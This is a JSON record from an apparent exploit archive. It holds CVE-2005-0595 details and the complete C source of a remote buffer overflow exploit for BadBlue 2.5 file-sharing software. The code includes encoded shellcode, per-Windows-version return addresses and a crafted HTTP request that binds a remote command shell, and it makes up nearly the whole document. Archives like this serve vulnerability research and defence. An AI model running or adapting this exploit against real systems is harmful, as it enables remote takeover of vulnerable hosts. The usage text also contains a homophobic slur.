{"exploit":{"id":"EDB-845","name":"BadBlue 2.5 - Easy File Sharing Remote Buffer Overflow","description":"BadBlue 2.5 - Easy File Sharing Remote Buffer Overflow","cves":["CVE-2005-0595"],"author":"class101","published":"2005-02-27","platform":"windows","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/845","path":"exploits/windows/remote/845.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-845.c","vulnerabilities":[{"id":"CVE-2005-0595","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in ext.dll in BadBlue 2.55 allows remote attackers to execute arbitrary code via a long mfcisapicommand parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0595","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0595"},"updatedAt":"2024-08-07T21:21:06.472Z","retrievedAt":"2026-11-26T21:09:23.631Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-845.png?v=2","url":"https://exploitbin.com/exploits/EDB-845","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-845/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-845/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\nBadBlue, Easy File Sharing Remote BOverflow\n\nHomepage:         badblue.com\nAffected version: v2.5 (2.60 and below not tested)\nPatched  version: v2.61\nLink:             badblue.com/bbs98.exe\nDate:             27 February 2005\n\nApplication Risk: Severely High\nInternet Risk:    Low\n\nDicovery Credits: Andres Tarasco (atarasco _at_ sia.es)\nExploit Credits : class101 & metasploit.com\n\nHole History:\n\n 26-2-2005: BOF flaw published by Andres Tarasco of sia.es\n 27-2-2002: Hat-Squad.com releases an exploit\n 28-2-2005: haxorcitos releases a dupe with fake date :>\n            or you sux doing private stuffs.\n\nNotes:\n\n -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by\nBadBlue\n -using offsets from ext.dll, universal.\n -use findjmp2 to quick search into ext.dll to see\n  if the offsets changes in the others BadBlue's versions below 2.5\n -if you need the v2.5 for exploitation's pratices, get it on class101.org\n -rename to .c for nux, haven't tested this one but it should works fine.\n\nGreet:\n\n Nima Majidi\n       Behrang Fouladi\n Pejman\n Hat-Squad.com\n metasploit.com\n A^C^E of addict3d.org\n str0ke of milw0rm.com\n and my homy class101.org :>\n*/\n\n#include <stdio.h>\n#include <string.h>\n#include <time.h>\n#ifdef WIN32\n#include \"winsock2.h\"\n#pragma comment(lib, \"ws2_32\")\n#else\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <netinet/in_systm.h>\n#include <netinet/ip.h>\n#include <netdb.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <fcntl.h>\n#endif\n\nchar scode[]=\n/*XORed, I kiss metasploit.com because they are what means elite!*/\n\"\\x29\\xc9\\x83\\xe9\\xaf\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\x03\"\n\"\\x7b\\x5b\\x13\\x83\\xee\\xfc\\xe2\\xf4\\xff\\x11\\xb0\\x5c\\xeb\\x82\\xa4\\xec\"\n\"\\xfc\\x1b\\xd0\\x7f\\x27\\x5f\\xd0\\x56\\x3f\\xf0\\x27\\x16\\x7b\\x7a\\xb4\\x98\"\n\"\\x4c\\x63\\xd0\\x4c\\x23\\x7a\\xb0\\xf0\\x33\\x32\\xd0\\x27\\x88\\x7a\\xb5\\x22\"\n\"\\xc3\\xe2\\xf7\\x97\\xc3\\x0f\\x5c\\xd2\\xc9\\x76\\x5a\\xd1\\xe8\\x8f\\x60\\x47\"\n\"\\x27\\x53\\x2e\\xf0\\x88\\x24\\x7f\\x12\\xe8\\x1d\\xd0\\x1f\\x48\\xf0\\x04\\x0f\"\n\"\\x02\\x90\\x58\\x3f\\x88\\xf2\\x37\\x37\\x1f\\x1a\\x98\\x22\\xc3\\x1f\\xd0\\x53\"\n\"\\x33\\xf0\\x1b\\x1f\\x88\\x0b\\x47\\xbe\\x88\\x3b\\x53\\x4d\\x6b\\xf5\\x15\\x1d\"\n\"\\xef\\x2b\\xa4\\xc5\\x32\\xa0\\x3d\\x40\\x65\\x13\\x68\\x21\\x6b\\x0c\\x28\\x21\"\n\"\\x5c\\x2f\\xa4\\xc3\\x6b\\xb0\\xb6\\xef\\x38\\x2b\\xa4\\xc5\\x5c\\xf2\\xbe\\x75\"\n\"\\x82\\x96\\x53\\x11\\x56\\x11\\x59\\xec\\xd3\\x13\\x82\\x1a\\xf6\\xd6\\x0c\\xec\"\n\"\\xd5\\x28\\x08\\x40\\x50\\x28\\x18\\x40\\x40\\x28\\xa4\\xc3\\x65\\x13\\x5b\\x76\"\n\"\\x65\\x28\\xd2\\xf2\\x96\\x13\\xff\\x09\\x73\\xbc\\x0c\\xec\\xd5\\x11\\x4b\\x42\"\n\"\\x56\\x84\\x8b\\x7b\\xa7\\xd6\\x75\\xfa\\x54\\x84\\x8d\\x40\\x56\\x84\\x8b\\x7b\"\n\"\\xe6\\x32\\xdd\\x5a\\x54\\x84\\x8d\\x43\\x57\\x2f\\x0e\\xec\\xd3\\xe8\\x33\\xf4\"\n\"\\x7a\\xbd\\x22\\x44\\xfc\\xad\\x0e\\xec\\xd3\\x1d\\x31\\x77\\x65\\x13\\x38\\x7e\"\n\"\\x8a\\x9e\\x31\\x43\\x5a\\x52\\x97\\x9a\\xe4\\x11\\x1f\\x9a\\xe1\\x4a\\x9b\\xe0\"\n\"\\xa9\\x85\\x19\\x3e\\xfd\\x39\\x77\\x80\\x8e\\x01\\x63\\xb8\\xa8\\xd0\\x33\\x61\"\n\"\\xfd\\xc8\\x4d\\xec\\x76\\x3f\\xa4\\xc5\\x58\\x2c\\x09\\x42\\x52\\x2a\\x31\\x12\"\n\"\\x52\\x2a\\x0e\\x42\\xfc\\xab\\x33\\xbe\\xda\\x7e\\x95\\x40\\xfc\\xad\\x31\\xec\"\n\"\\xfc\\x4c\\xa4\\xc3\\x88\\x2c\\xa7\\x90\\xc7\\x1f\\xa4\\xc5\\x51\\x84\\x8b\\x7b\"\n\"\\xf3\\xf1\\x5f\\x4c\\x50\\x84\\x8d\\xec\\xd3\\x7b\\x5b\\x13\";\n\nchar payload[1024];\n\nchar ebx[]=\"\\x05\\x53\\x02\\x10\";  /*call.ext.dll*/\nchar ebx2[]=\"\\xB0\\x55\\x02\\x10\"; /*pop.pop.ret.ext.dll thx findjmp2 ;>*/\nchar pad[]=\"\\xEB\\x0C\\x90\\x90\";\nchar pad2[]=\"\\xE9\\x05\\xFE\\xFF\\xFF\";\nchar EOL[]=\"\\x0D\\x0A\\x0D\\x0A\";\nchar talk[]=\n\"\\x47\\x45\\x54\\x20\\x2F\\x65\\x78\\x74\\x2E\\x64\\x6C\\x6C\\x3F\\x6D\\x66\\x63\"\n\"\\x69\\x73\\x61\\x70\\x69\\x63\\x6F\\x6D\\x6D\\x61\\x6E\\x64\\x3D\";\n\n#ifdef WIN32\nWSADATA wsadata;\n#endif\n\nvoid ver();\nvoid usage(char* us);\n\nint main(int argc,char *argv[])\n{\nver();\nunsigned long gip;\nunsigned short gport;\nchar *target, *os;\nif\n(argc>6||argc<3||atoi(argv[1])>3||atoi(argv[1])<1){usage(argv[0]);return -1;\n}\nif (argc==5){usage(argv[0]);return -1;}\n   if (strlen(argv[2])<7){usage(argv[0]);return -1;}\n   if (argc==6)\n{\n       if (strlen(argv[4])<7){usage(argv[0]);return -1;}\n}\n#ifndef WIN32\nif (argc==6)\n{\n  gip=inet_addr(argv[4])^(long)0x93939393;\n gport=htons(atoi(argv[5]))^(short)0x9393;\n}\n#define Sleep  sleep\n#define SOCKET  int\n#define closesocket(s) close(s)\n#else\nif (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf(\"[+] wsastartup error\\n\");return -1;}\nif (argc==6)\n{\n gip=inet_addr(argv[4])^(ULONG)0x93939393;\n gport=htons(atoi(argv[5]))^(USHORT)0x9393;\n}\n#endif\nint ip=htonl(inet_addr(argv[2])), port;\nif (argc==4||argc==6){port=atoi(argv[3]);} else port=80;\nSOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;\ns=socket(AF_INET,SOCK_STREAM,0);\nif (s==-1){printf(\"[+] socket() error\\n\");return -1;}\nif (atoi(argv[1]) == 1){target=ebx;os=\"Win2k SP4 Server English\\n[+] Win2k SP4 Pro.   English\\n[+]            Win2k SP- -      -\";}\nif (atoi(argv[1]) == 2){target=ebx2;os=\"WinXP SP2  Pro. English\\n[+] WinXP SP1a Pro. English\\n[+]            WinXP SP-  -    -\";}\nif (atoi(argv[1]) == 3){target=ebx2;os=\"Win2003 SP4 Server English\\n[+] Win2003 SP- -      -\";}\nprintf(\"[+] target(s): %s\\n\",os);\nserver.sin_family=AF_INET;\nserver.sin_addr.s_addr=htonl(ip);\nserver.sin_port=htons(port);\nif (argc==6){printf(\"[+] reverse mode disabled for this exploit\\n\");\nprintf(\"[+] get the source at class101.org and update yourself!\\n\");return -1;}\nconnect(s,( struct sockaddr *)&server,sizeof(server));\ntimeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);\nswitch(select(s+1,NULL,&mask,NULL,&timeout))\n{\n case -1: {printf(\"[+] select() error\\n\");closesocket(s);return -1;}\n case 0: {printf(\"[+] connect() error\\n\");closesocket(s);return -1;}\n default:\n if(FD_ISSET(s,&mask))\n {\n  printf(\"[+] connected, constructing the payload...\\n\");\n#ifdef WIN32\n  Sleep(1000);\n#else\n  Sleep(1);\n#endif\n  strcpy(payload,talk);\n  memset(payload+29,0x90,520);\n  if (atoi(argv[1]) == 1||atoi(argv[1]) == 2)\n  {\n   memcpy(payload+29+492,&pad,4);\n   memcpy(payload+521+4,target,4);\n   memcpy(payload+536+1,pad2,5);\n  }\n  else\n  {\n   memcpy(payload+29+485,&pad,4);\n   memcpy(payload+514+4,target,4);\n   memcpy(payload+529+1,pad2,5);\n  }\n  strcat(payload,EOL);\n  memcpy(payload+36+3,scode,strlen(scode));\n  if (send(s,payload,strlen(payload),0)==-1) { printf(\"[+] sending error 1, the server prolly rebooted.\\n\");return -1;}\n#ifdef WIN32\n  Sleep(2000);\n#else\n  Sleep(2);\n#endif\n\n  printf(\"[+] size of payload: %d\\n\",strlen(payload));\n  printf(\"[+] payload sent.\\n\");\n  return 0;\n }\n}\nclosesocket(s);\n#ifdef WIN32\nWSACleanup();\n#endif\nreturn 0;\n}\n\nvoid usage(char* us)\n{\nprintf(\"USAGE:\\n\");\nprintf(\"      [+]  . 101_bblu.exe Target VulnIP (bind mode)\\n\");\nprintf(\"      [+]  . 101_bblu.exe Target VulnIP VulnPORT (bind mode)\\n\");\nprintf(\"      [+]  . 101_bblu.exe Target VulnIP VulnPORT GayIP GayPORT (reverse mode)\\n\");\nprintf(\"TARGET:                               \\n\");\nprintf(\"      [+] 1. Win2k  SP4  Server English (*)\\n\");\nprintf(\"      [+] 1. Win2k  SP4  Pro    English (*)\\n\");\nprintf(\"      [+] 1. Win2k  SP-  -      -          \\n\");\nprintf(\"      [+] 2. WinXP  SP2  Pro.   English    \\n\");\nprintf(\"      [+] 2. WinXP  SP1a Pro.   English (*)\\n\");\nprintf(\"      [+] 2. WinXP  SP-  -      -          \\n\");\nprintf(\"      [+] 3. Win2k3 SP0  Server Italian (*)\\n\");\nprintf(\"      [+] 3. Win2k3 SP-  -      -          \\n\");\nprintf(\"NOTE:                                      \\n\");\nprintf(\"      The exploit bind a cmdshell port 101 or\\n\");\nprintf(\"      reverse a cmdshell on your listener.\\n\");\nprintf(\"      A wildcard (*) mean tested working, else, supposed working.\\n\");\nprintf(\"      A symbol   (-) mean all.\\n\");\nprintf(\"      Compilation msvc6, cygwin, Linux.\\n\");\nreturn;\n}\nvoid ver()\n{\nprintf(\" \\n\");\nprintf(\" ===================================================[0.1]=====\\n\");\nprintf(\"        ================BadBlue, Easy File Sharing 2.5===============\\n\");\nprintf(\"        ================ext.dll, Remote Stack Overflow===============\\n\");\nprintf(\"        ======coded by class101==================[Hat-Squad.com]=====\\n\");\nprintf(\"        =====================================[class101.org 2005]=====\\n\");\nprintf(\" \\n\");\n}\n\n// milw0rm.com [2005-02-27]","sha256":"f39307850ac6785569304198a0461edddabf426ee65fdbfdc193d4dc23c37583","bytes":7969,"fetchedAt":"2026-11-26T21:09:18.400Z","encoding":"utf-8 (display only; download retains original bytes)"}